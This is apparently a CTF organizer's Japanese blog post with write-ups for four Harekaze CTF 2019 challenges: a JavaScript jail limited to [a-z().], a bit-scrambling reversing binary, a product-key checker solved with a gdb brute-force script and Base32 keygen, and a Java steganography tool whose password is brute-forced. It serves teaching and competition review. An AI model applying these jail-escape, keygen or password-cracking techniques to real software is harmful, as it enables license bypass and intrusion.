if (code && code.length < 200 && !/[^a-z().]/.test(code)) {
try {
const result = vm.runInNewContext(code, {}, { timeout: 500 });
if (result === 1337) {
output = process.env.FLAG;
} else {
output = 'nope';
}
} catch (e) {
output = 'nope';
}
} else {
output = 'nope';
}
res.render('index', { title: '[a-z().]', output });
});
app.get('/source', function (req, res) {
res.sendFile(path.join(__dirname, 'app.js'));
});
module.exports = app;
a
から z
と (
)
.
の 3 文字だけを使って、200 文字以内で 1337
という数値を作れという問題です。
1
、3
、7
の 3 つの数値をどうにかして手に入れ、最初の文字を文字列に変換し、String.prototype.concat
でそれらを結合して 1337
という文字列を作成、そしてそれを eval
に投げて数値に変換する方向で解いてみましょう。
まずは String
と Number
の 2 つの関数を作ってみましょう。適当な文字列は typeof(this)
で作れ、この constructor
プロパティに String
が入っています。また、適当な数値も (typeof(this)).length
で作れ、この constructor
プロパティに Number
が入っています。
3 つの数値を作っていきましょう。
1
は Number(true) === 1
が true
になることを利用して Number(true)
に相当するコードで作れます。3
は String.prototype.big
の name
プロパティ (= 'big'
) の length
を参照することで作れます。7
は true.constructor
(= Boolean
) の name
プロパティ (= 'Boolean'
) の length
を参照することで作れます。
最終的に以下のようなコードでフラグが得られます。
eval((typeof(this)).constructor((typeof(this)).length.constructor(true)).concat((typeof(this)).big.name.length).concat((typeof(this)).big.name.length).concat(true.constructor.name.length))
HarekazeCTF{sorry_about_last_year's_js_challenge...}
正答チーム数は 36 チームでした。
昨年出題したものの実装の不備によって公開後に取り下げてしまった、[$0-z{}]|[^\\]
という ()
等の記号が使えない状態で関数を任意の引数で呼び出す jsjail 問 (?) のソースコードを流用した問題です。別の問題として元々 JSONP を題材にしたものを作ろうとしていたのですが、面白い問題を作れる気がせず、結局使える文字種をアルファベット + α のみに制限するという要素だけを持ってきて組み合わせたような感じです。
添付ファイル:
添付ファイルがどのようなファイルか確認しましょう。
$ file scramble
scramble: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd3474e9169df7fc3a523390296856f9a2f07ca5, not stripped
x86_64 の ELF のようです。Ghidra を使ってデコンパイルしてみましょう。
まず main
関数です。読みやすくするため、一部変数名のリネーム等を行っています。
int main(int argc,char **argv)
{
long lVar1;
long in_FS_OFFSET;
char local_38 [39];
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
__printf_chk(1,"Input : ");
__isoc99_scanf("%38s",local_38);
scramble(local_38);
if (((((local_38._8_8_ ^ encrypted[0]._8_8_ | local_38._0_8_ ^ encrypted[0]._0_8_) == 0) &&
((local_38._24_8_ ^ encrypted[0]._24_8_ | local_38._16_8_ ^ encrypted[0]._16_8_) == 0)) &&
(local_38._32_4_ == encrypted[0]._32_4_)) && (local_38._36_2_ == encrypted[0]._36_2_)) {
puts("Correct!");
}
else {
puts("Nope.");
}
if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
ユーザが入力した文字列を scramble
関数で処理し、その結果と encrypted
というバイナリに埋め込まれているバイト列を比較して、もし一致していれば Correct!
と表示しています。scramble
関数を確認しましょう。
void scramble(char *arg)
{
byte bVar1;
int iVar2;
byte bVar3;
byte bVar4;
int iVar5;
uint uVar6;
int *table;
uint uVar8;
uint uVar9;
table = (int *)(encrypted + 0x40);
uVar6 = 0;
do {
iVar2 = *table;
bVar1 = arg[(long)(int)(uVar6 / 7)];
bVar3 = (char)uVar6 + (char)(uVar6 / 7) * -7;
iVar5 = iVar2 / 7 + (iVar2 >> 0x1f);
bVar4 = (char)iVar2 + ((char)iVar5 - (char)(iVar2 >> 0x1f)) * -7;
uVar8 = 1 << (bVar3 & 0x1f);
uVar9 = 1 << (bVar4 & 0x1f);
arg[(long)(int)(uVar6 / 7)] =
(byte)(((int)((uint)(byte)arg[(long)(iVar5 - (iVar2 >> 0x1f))] & uVar9) >> (bVar4 &0x1f))
<< (bVar3 & 0x1f)) | ~(byte)uVar8 & bVar1;
arg[(long)(*table / 7)] = arg[(long)(*table / 7)] & ~(byte)uVar9;
iVar2 = *table;
uVar6 = uVar6 + 1;
table = table + 1;
arg[(long)(iVar2 / 7)] =
arg[(long)(iVar2 / 7)] |
(byte)(((int)((uint)bVar1 & uVar8) >> (bVar3 & 0x1f)) << (bVar4 & 0x1f));
} while (uVar6 != 0x10a);
return;
}
ビット演算が多用されており、読むのがちょっと面倒です。頑張って読むと、大まかには以下のような処理をしていることがわかります。
table = (int *)(encrypted + 0x40)
でシャッフルに使うテーブルを取得arg[i]
の i % 7
ビット目と arg[table[i]]
の table[i] % 7
ビット目を交換Python で逆の処理をしてみましょう。
import re
import struct
with open('scramble', 'rb') as f:
s = f.read()
encrypted = list(''.join(bin(c)[2:].zfill(7)[::-1] for c in s[0x1020:0x1046]))
table = struct.unpack('<' + 'I' * 266, s[0x1060:0x1488])
for i, j in zip(range(len(table) - 1, -1, -1), table[::-1]):
encrypted[i], encrypted[j] = encrypted[j], encrypted[i]
plaintext = ''.join(encrypted)
print(''.join(chr(int(c[::-1], 2)) for c in re.findall(r'.{7}', plaintext)))
$ python solver.py
HarekazeCTF{3nj0y_h4r3k4z3_c7f_2019!!}
フラグが得られました。
正答チーム数は 68 チームでした。
この問題はもともと Reversing のウォームアップとして作成した問題で、フラグもそれを意識してウェルカムとか言っています。この writeup では静的解析でなんとかしていますが、angr を使えば数行のコードであっという間に解けるようです。
I forgot admin’s product key…
添付ファイル:
添付ファイルがどのようなファイルか確認しましょう。
$ file product_key
product_key: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=79383563e20684c73f998ae5448a03955cf5d4a2, not stripped
x86_64 の ELF のようです。Ghidra を使ってデコンパイルしてみましょう。
まず main
関数です。読みやすくするため、一部変数名のリネーム等を行っています。
int main(int argc,char *argv)
{
char cVar1;
long lVar2;
int hash;
int res;
size_t len;
char *__s;
uint uVar3;
long lVar4;
char *pcVar5;
long in_FS_OFFSET;
byte bVar6;
char decoded_bytes [32];
char product_key [33];
bVar6 = 0;
lVar2 = *(long *)(in_FS_OFFSET + 0x28);
product_key[32] = 0;
product_key._0_4_ = 0;
product_key._4_4_ = 0;
product_key._8_4_ = 0;
product_key._12_4_ = 0;
product_key._16_4_ = 0;
product_key._20_4_ = 0;
product_key._24_4_ = 0;
product_key._28_4_ = 0;
decoded_bytes._0_4_ = 0;
decoded_bytes._4_4_ = 0;
decoded_bytes._8_4_ = 0;
decoded_bytes._12_4_ = 0;
decoded_bytes._16_4_ = 0;
decoded_bytes._20_4_ = 0;
decoded_bytes._24_4_ = 0;
decoded_bytes._28_4_ = 0;
if (argc < 2) {
res = 1;
__fprintf_chk(stderr,1,"Usage: %s <product key>\n",*(undefined8 *)argv);
}
else {
__s = *(char **)(argv + 8);
len = strlen(__s);
if (len == 0x27) {
__s = strtok(__s,"-");
pcVar5 = table;
while (__s != (char *)0x0) {
table = pcVar5;
__strncat_chk(product_key,__s,4);
__s = strtok((char *)0x0,"-");
pcVar5 = table;
}
lVar4 = -1;
__s = pcVar5;
do {
uVar3 = (uint)lVar4;
if (lVar4 == 0) break;
lVar4 = lVar4 + -1;
uVar3 = (uint)lVar4;
cVar1 = *__s;
__s = __s + (ulong)bVar6 * -2 + 1;
} while (cVar1 != 0);
table = pcVar5;
if (0 < (int)(~uVar3 - 1)) {
lVar4 = 0;
table = pcVar5;
do {
inv_table[(long)pcVar5[lVar4]] = (char)lVar4;
lVar4 = lVar4 + 1;
} while ((ulong)(~uVar3 - 2) + 1 != lVar4);
}
decode(product_key,decoded_bytes);
hash = 0;
__s = decoded_bytes;
do {
pcVar5 = __s + 1;
hash = (int)*__s + hash * 0x1f;
__s = pcVar5;
} while (decoded_bytes + 0x10 != pcVar5);
if (decoded_bytes._16_4_ == hash) {
__printf_chk(1,"Hello, %.16s!\n",decoded_bytes);
res = strncmp(decoded_bytes,"i-am-misakiakeno",0x10);
if (res == 0) {
__printf_chk(1,"You are admin! The flag is: HarekazeCTF{%s}\n",product_key);
}
else {
res = 0;
puts("You are not admin.");
}
goto LAB_0010089f;
}
}
res = 1;
fwrite("invalid product key\n",1,0x14,stderr);
}
LAB_0010089f:
if (lVar2 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return res;
}
長いですね。少しずつ読んでいきましょう。
if (argc < 2) {
res = 1;
__fprintf_chk(stderr,1,"Usage: %s <product key>\n",*(undefined8 *)argv);
}
コマンドライン引数としてプロダクトキーを取るようです。
else {
__s = *(char **)(argv + 8);
len = strlen(__s);
if (len == 0x27) {
︙
}
}
プロダクトキー (argv[1]
) は 39 文字のようです。if 文の中を見ていきます。
__s = strtok(__s,"-");
pcVar5 = table;
while (__s != (char *)0x0) {
table = pcVar5;
__strncat_chk(product_key,__s,4);
__s = strtok((char *)0x0,"-");
pcVar5 = table;
}
プロダクトキーをハイフンで区切り、結合しています。__strncat_chk(product_key,__s,4);
とハイフンで区切られた文字列はそれぞれ 4 文字のようです。先ほどの文字数チェックと組み合わせて、プロダクトキーは AAAA-AAAA-AAAA-AAAA-AAAA-AAAA-AAAA-AAAA
というようなフォーマットになることが推測できます。
lVar4 = -1;
__s = pcVar5;
do {
uVar3 = (uint)lVar4;
if (lVar4 == 0) break;
lVar4 = lVar4 + -1;
uVar3 = (uint)lVar4;
cVar1 = *__s;
__s = __s + (ulong)bVar6 * -2 + 1;
} while (cVar1 != 0);
table = pcVar5;
if (0 < (int)(~uVar3 - 1)) {
lVar4 = 0;
table = pcVar5;
do {
inv_table[(long)pcVar5[lVar4]] = (char)lVar4;
lVar4 = lVar4 + 1;
} while ((ulong)(~uVar3 - 2) + 1 != lVar4);
}
よくわからないですが、table
という配列 (Y9ND6U0RXCPIOHQL418G7KAVJ3FW5BZT
) をもとに inv_table
という別の配列の初期化をしているようです。
decode(product_key,decoded_bytes);
ハイフンが削除されたプロダクトキーを decode
関数でデコードし、その結果を decoded_bytes
に保存しています。decode
関数については後ほど詳しく見ていきます。
hash = 0;
__s = decoded_bytes;
do {
pcVar5 = __s + 1;
hash = (int)*__s + hash * 0x1f;
__s = pcVar5;
} while (decoded_bytes + 0x10 != pcVar5);
デコードされた結果のバイト列の先頭 16 バイトを使って 32 ビットのチェックサムを計算しています。
if (decoded_bytes._16_4_ == hash) {
__printf_chk(1,"Hello, %.16s!\n",decoded_bytes);
res = strncmp(decoded_bytes,"i-am-misakiakeno",0x10);
if (res == 0) {
__printf_chk(1,"You are admin! The flag is: HarekazeCTF{%s}\n",product_key);
}
else {
res = 0;
puts("You are not admin.");
}
goto LAB_0010089f;
}
そのチェックサムがデコードされた結果のバイト列の 17 ~ 20 バイト目と等しい場合に、プロダクトキーが正しいものと判定され、Hello, (ユーザ名)!
と出力するようです。
また、デコードされた結果のバイト列の先頭 16 バイトが i-am-misakiakeno
と等しい場合にフラグが表示されるようです。
では、decode
関数を見ていきましょう。
void decode(char *input,char *output)
{
char cVar1;
byte bVar2;
uint uVar3;
size_t len;
ulong i;
int iVar4;
char *pcVar5;
ulong uVar6;
int iVar7;
int len_;
len = strlen(input);
len_ = (int)len;
iVar4 = len_ * 5;
iVar7 = iVar4 + 7;
if (-1 < iVar4) {
iVar7 = iVar4;
}
iVar7 = iVar7 >> 3;
if (0 < len_) {
pcVar5 = input;
do {
if (*pcVar5 == padding) {
*pcVar5 = *table;
}
pcVar5 = pcVar5 + 1;
} while (pcVar5 != input + (ulong)(len_ - 1) + 1);
}
if (0 < iVar7) {
i = 0;
uVar6 = (ulong)(iVar7 - 1) + 1;
LAB_00100c0b:
do {
cVar1 = inv_table[(long)*input];
bVar2 = inv_table[(long)input[1]];
uVar3 = (uint)((i & 0xffffffff) * 0xcccccccd >> 0x20);
iVar4 = (int)i - ((uVar3 >> 2) + (uVar3 & 0xfffffffc));
if (iVar4 == 2) {
input = input + 1;
output[i] = bVar2 >> 1 | cVar1 << 4;
}
else {
if (iVar4 < 3) {
if (iVar4 == 1) {
pcVar5 = input + 2;
input = input + 2;
output[i] = bVar2 * 2 | cVar1 << 6 | (byte)inv_table[(long)*pcVar5] >> 4;
i = i + 1;
if (i == uVar6) break;
goto LAB_00100c0b;
}
LAB_00100c90:
input = input + 1;
output[i] = bVar2 >> 2 | cVar1 << 3;
}
else {
if (iVar4 == 3) {
pcVar5 = input + 2;
input = input + 2;
output[i] = bVar2 << 2 | cVar1 << 7 | (byte)inv_table[(long)*pcVar5] >> 3;
}
else {
if (iVar4 != 4) goto LAB_00100c90;
input = input + 2;
output[i] = bVar2 | cVar1 << 5;
}
}
}
i = i + 1;
} while (i != uVar6);
}
output[(long)iVar7] = 0;
return;
}
また長くて読むのがめんどくさい関数です。第 1 引数として与えられたプロダクトキーを 1 文字ずつ処理し、第 2 引数として与えられたアドレスにデコードした結果を書き込んでいます。
プロダクトキーの 1 文字は 5 ビットを表しており、例えば Y
は 00000
に、9
は 00001
に…といったようにデコードされます。このときの 5 ビットは、table
の何文字目にその文字があるかによって決まっています。
以下のスクリプトはプロダクトキーを 1 文字ずつ総当たりして求めるものです。decode
関数を呼んだ直後にブレークポイントを置き、デコードされたバイト列の i
ビット目から 5 ビット分を i-am-misakiakeno
とそのチェックサムを結合したバイト列の対応する部分と比較しています。もし等しければ、プロダクトキーの次の文字を同様に求めます。
import gdb
import re
import struct
def hash(s, n):
res = 0
for i in range(n):
res = (res << 5) - res + ord(s[i])
return res & 0xffffffff
def str_to_bin(s):
return ''.join(bin(ord(c))[2:].zfill(8) for c in s)
def hyphenate(s, n):
return '-'.join(re.findall(r'.{' + str(n) + r'}|.+', s))
def p32(x):
return struct.pack('<I', x)
TABLE = 'Y9ND6U0RXCPIOHQL418G7KAVJ3FW5BZT'
USER = 'i-am-misakiakeno'
target = USER + p32(hash(USER, 16))
target = str_to_bin(target)
gdb.execute('set pagination off')
gdb.execute('b *(main + 0x127)', to_string=True) # after decode
key = ''
for i in range(0, len(target), 5):
for c in TABLE:
tmp = hyphenate((key + c).ljust(32, 'S'), 4)
gdb.execute('r ' + tmp, to_string=True)
res = gdb.execute('x/20bx $rsp', to_string=True)
res = ''.join(re.findall(r'0x([0-9a-f]{2})[^0-9a-f]', res)).decode('hex')
res = str_to_bin(res)
if res[i:i+5] == target[i:i+5]:
key += c
break
print '[+]', key
print '[+] Product Key:', hyphenate(key, 4)
print '[+] Flag: HarekazeCTF{' + key + '}'
gdb.execute('continue', to_string=True)
gdb.execute('quit')
実行してみましょう。
$ gdb -n -q -x solver.py ./product_key
[+] H
[+] H6
[+] H6A
︙
[+] H6AANWCHHK7V0JIIHU4AA3IQHBWTV5
[+] H6AANWCHHK7V0JIIHU4AA3IQHBWTV51
[+] H6AANWCHHK7V0JIIHU4AA3IQHBWTV514
[+] Product Key: H6AA-NWCH-HK7V-0JII-HU4A-A3IQ-HBWT-V514
[+] Flag: HarekazeCTF{H6AANWCHHK7V0JIIHU4AA3IQHBWTV514}
Hello, i-am-misakiakeno!
You are admin! The flag is: HarekazeCTF{H6AANWCHHK7V0JIIHU4AA3IQHBWTV514}
フラグが得られました。
HarekazeCTF{H6AANWCHHK7V0JIIHU4AA3IQHBWTV514}
正答チーム数は 8 チームでした。
デコードに使っているアルゴリズムはテーブルが ABCDEFGHIJKLMNOPQRSTUVWXYZ234567=
ではなく Y9ND6U0RXCPIOHQL418G7KAVJ3FW5BZTS
になっている Base32 です。これを利用すれば、以下のような簡単なスクリプトでプロダクトキーが得られます。
import base64
import re
import struct
def hash(s):
result = 0
for c in s:
result *= 31
result += c
return result
user = b'i-am-misakiakeno'
code = base64.b32encode(user + struct.pack('<I', hash(user) & 0xffffffff)).decode()
code = code.translate(str.maketrans('ABCDEFGHIJKLMNOPQRSTUVWXYZ234567=', 'Y9ND6U0RXCPIOHQL418G7KAVJ3FW5BZTS'))
print('-'.join(re.findall(r'.{4}', code)))
フラグは正解のプロダクトキーからハイフンを取り除いて HarekazeCTF{
}
で囲っただけのものですが、もうちょっと意味のある文字列が出るようにすればよかったなあと思っています。
Java でステガノグラフィーツールを作りました!
JAR ファイルが簡単にデコンパイルできることは知っていますが、パスワード保護システムがうまくファイルを守ってくれると信じています…。
I made a steganography tool with Java!
I know JAR files can easily be decompiled, but I believe the password protection works…
添付ファイル:
添付ファイルの tsg.jar
は JAR ファイルです。JAR ファイルは Java クラスファイルやリソースが入っているただの ZIP ファイルなので、まずは解析のため unzip -d tsg tsg.jar
で展開しましょう。
$ unzip -d tsg tsg.jar
Archive: tsg.jar
inflating: tsg/META-INF/MANIFEST.MF
inflating: tsg/TSG.class
inflating: tsg/Embedder.class
TSG.class
と Embedder.class
という 2 つの Java クラスファイルが出力されました。CFR というツールを使うと、それぞれ以下のようにデコンパイルできました。
TSG.java
/*
* Decompiled with CFR 0.140.
*/
import java.io.InputStream;
import java.io.PrintStream;
import java.util.Scanner;
public class TSG {
public static void main(String[] args) {
if (args.length < 3) {
System.err.println("Usage: java -jar tsg.jar <image> <payload> <out>");
System.exit(1);
}
String password = "";
Scanner scanner = new Scanner(System.in);
do {
System.out.print("Please input the password (4 ~ 8 characters): ");
} while ((password = scanner.nextLine()).length() < 4 || password.length() > 8);
scanner.close();
Embedder embedder = new Embedder(args[0]);
embedder.embedFileWithPassword(args[1], password);
embedder.save(args[2]);
}
}
Embedder.java
/*
* Decompiled with CFR 0.140.
*/
import java.awt.image.BufferedImage;
import java.awt.image.RenderedImage;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.PrintStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashSet;
import java.util.Random;
import javax.imageio.ImageIO;
public class Embedder {
final byte[] MAGIC_NUMBER = new byte[]{127, 115, 116, 101, 103, 97, 110, 111};
BufferedImage img;
byte[] payload;
public Embedder(String imagePath) {
try {
this.img = ImageIO.read(new File(imagePath));
}
catch (IOException e) {
System.err.println("Unable to load " + imagePath);
System.exit(1);
}
}
public void embedFileWithPassword(String payloadPath, String password) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
bos.write(this.MAGIC_NUMBER);
bos.write(Files.readAllBytes(Paths.get(payloadPath, new String[0])));
}
catch (IOException e) {
System.err.println("Unable to load " + payloadPath);
System.exit(1);
}
this.payload = bos.toByteArray();
if (this.payload.length > this.img.getHeight() || this.img.getWidth() < 8) {
System.err.println("Given image is too small");
System.exit(1);
}
try {
for (int i = 0; i < this.payload.length; ++i) {
int seed = password.codePointAt(i % password.length());
Random rnd = new Random(seed ^= i * i * password.codePointAt((i + password.length() - 1) % password.length()));
HashSet<Integer> used = new HashSet<Integer>();
for (int j = 0; j < 8; ++j) {
int x = rnd.nextInt(this.img.getWidth());
while (used.contains(x = (x + 1) % this.img.getWidth())) {
}
used.add(x);
int pixel = this.img.getRGB(x, i);
pixel &= -65537;
if ((this.payload[i] & 1 << j) != 0) {
pixel |= 65536;
}
this.img.setRGB(x, i, pixel);
}
}
}
catch (ArrayIndexOutOfBoundsException e) {
System.err.println("Given image is too small");
System.exit(1);
}
}
public void save(String outPath) {
try {
ImageIO.write((RenderedImage)this.img, "png", new File(outPath));
}
catch (IOException e) {
System.err.println("Unable to save to " + outPath);
System.exit(1);
}
System.out.println("Success!");
}
}
少し読むのが面倒ですが、まとめると以下のような挙動をしていることがわかります。
image
(埋め込み先の画像)、payload
(画像に埋め込むファイル)、out
(ファイルを埋め込んだ画像の保存先) の 3 つのコマンドライン引数をとる\x7fstegano
というバイト列と payload
として与えられたファイルの内容を結合i % (パスワードの長さ)
文字目と (i - 1) % (パスワードの長さ)
文字目を元にシードを計算し、乱数生成器を初期化payload
として与えられたファイルの内容の i
バイト目を 1 ビットずつあるピクセル (rnd.nextInt(画像の幅), i
) の赤色の LSB (最下位ビット) に埋め込むout
に保存4 番目の工程について、詳しく確認します。
int seed = password.codePointAt(i % password.length());
Random rnd = new Random(seed ^= i * i * password.codePointAt((i + password.length() - 1) % password.length()));
先程はパスワードの (i - 1) % (パスワードの長さ)
文字目もシードの計算に用いられていると書きましたが、i * i * password.codePointAt((i + password.length() - 1) % password.length())
のように i
がかけられているため、payload
の内容の 1 バイト目を処理しているときにはこの部分が 0
となります。つまり、このときにはパスワードの 1 文字目がそのままシードとして用いられていることになります。
画像に埋め込まれるバイト列は必ず \x7fstegano
から始まることを利用して、まず \x7f
が抽出されるようなシードを 0 ~ 255 から探索するとパスワードの 1 文字目が推測できます。これを元に s
が抽出されるようなシードを探索してパスワードの 2 文字目、t
が抽出されるようなシードを探索して … といった手順でパスワードを求めることができます.
今回は Python で Pillow という画像処理ライブラリを使って、ありうるパスワードの列挙と、それらのパスワードを使ったファイルの抽出をしてみましょう。乱数生成器には java.lang.Random
が用いられていますが、ドキュメントを参照するとどのようなアルゴリズムが用いられているかわかります。実装しましょう。
import binascii
import os
import os.path
import sys
from PIL import Image
MAGIC_NUMBER = (127, 115, 116, 101, 103, 97, 110, 111)
def random_generator(seed):
state = (seed ^ 0x5deece66d) & ((1 << 48) - 1)
while True:
state = (0x5deece66d * state + 0xb) & ((1 << 48) - 1)
yield state >> 17
def extract_byte(pix, seed, i):
rng = random_generator(seed)
used = set()
t = 0
for j in range(8):
x = next(rng) % w
while True:
x = (x + 1) % w
if x not in used:
break
used.add(x)
r, g, b, a = pix[x, i]
if r & 1:
t |= 1 << j
return t
passwords = []
def attempt(pix, password, prev=0):
i = len(password)
if i == 8:
passwords.append(password)
return
for c in range(256):
if extract_byte(pix, c ^ i * i * prev, i) == MAGIC_NUMBER[i]:
attempt(pix, password + bytes([c]), c)
if __name__ == '__main__':
if len(sys.argv) < 2:
print('usage: python {} <stego file>'.format(sys.argv[0]))
sys.exit(1)
im = Image.open(sys.argv[1])
w, h = im.size
pix = im.load()
prev = 0
# determine password
attempt(pix, b'')
print('passwords:', passwords)
if not os.path.exists('result'):
os.mkdir('result')
# extract embedded file
for password in passwords:
result = b''
for i in range(h):
seed = password[i % len(password)]
seed ^= i * i * password[(i + len(password) - 1) % len(password)]
result += bytes([extract_byte(pix, seed, i)])
with open('result/result-{}.bin'.format(binascii.hexlify(password).decode()), 'wb') as f:
f.write(result[8:])
$ python solver.py out.png
passwords: [b'N3K\x197\x17V\x14', b'N3K\x197\x17V\xd4', b'N3K0n\x13\x89\x03', b'N3K0n\x13\xd9\x0c', b'N3K0n\x13\xd9\xe1', b'N3K0n\x13\xd9\xff', b'N3K0neko', b'N3K0ne\xa9\x8d', b'N3K0ne\xa9\xe0', b'u\x08TN\xe1eko', b'u\x08TN\xe1e\xa9\x8d', b'u\x08TN\xe1e\xa9\xe0']
N3K0neko
というすべての文字が ASCII の範囲内にある文字列がパスワードの候補として出てきました。N3K0neko
をパスワードとしたときに抽出できるファイルを確認してみましょう。
$ strings -n 8 result/result-4e334b306e656b6f.bin
HarekazeCTF{the_building_in_the_picture_is_nagoya_castle}:
フラグが得られました。
HarekazeCTF{the_building_in_the_picture_is_nagoya_castle}
正答チーム数は 10 チームでした。
5 月 4 日から 5 月 5 日にかけて開催された TSG CTF でありがたいことに Harekaze
という名前の Steganography カテゴリの問題を出していただいたので (Harekaze は解けませんでしたが…)、TSG という名前の問題を作ろうと思ってできた問題です。
フラグにも書かれている通り、テキストが埋め込まれている写真は名古屋城です。この写真は以前私が撮ったもので、何かいい感じの写真がないかアルバムを眺めていて偶然目に入ったので採用しました。
st98.github.io / st98 の日記帳